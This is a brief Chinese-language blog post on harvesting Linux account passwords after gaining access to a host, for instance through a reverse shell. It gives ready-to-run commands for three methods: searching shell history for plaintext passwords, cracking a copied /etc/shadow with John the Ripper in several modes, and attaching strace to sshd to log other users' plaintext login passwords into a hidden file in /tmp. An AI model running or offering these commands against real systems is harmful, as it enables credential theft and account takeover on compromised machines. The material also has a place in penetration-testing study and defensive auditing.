Linux密码破解(非远程爆破)

前言:在通过各种手段(如反弹shell 提权)进入到Linux主机系统中,该如何拿到该系统的账号密码呢?

1.history

通过history的记录,看是否有明文输入的密码。

history|grep root #root可改为其他账号名

2.破解shadow文件(john工具)

利用john工具对shadow文件进行破解

将靶机的/etc/shadow文件转移到自己机器上,或者直接在靶机上破解(不推荐)

获取john源码并编译(本文用的john版本为1.9.0,请自行到官网上选择想用的版本)

https://download.openwall.net/pub/

wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
cd ./src
make clean linux-x86-64
cd ../run

1)简单密码文件破解

注:使用了john自带的一个密码文件:password.lst,可以在安装目录中找到

./john /etc/shadow

2)用户名变化密码破解

注:如一个用户名为test,破解诸如 test123 test1等密码。

./john -single /etc/shadow

3)指定密码文件破解

./john -w:/root/pass.txt /etc/shadow   #自定义密码文件/root/pass.txt

john的其他操作

*破解后得到的密码都会存放在john.pot文件中

*异常中断破解后继续破解

./john -restore

 *不使用密码字典,字母数字遍历组合

注:对于使用了特殊字符的密码可能无法破解成功,另外需要强悍的性能和大量的时间(所以不推荐在靶机上破解,哈哈)

./john -incremental /etc/shadow

3.strace收集明文密码

监控sshd程序

执行命令:监控300秒内,sshd进程的动作,如果在监控的时间段内有用户登录成功,则有记录。

timeout 300 strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &

查看结果

grep -E -A1 'read\(6, ".+f\\0\\0\\0\\f.+"' /tmp/.sshd.log

 

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值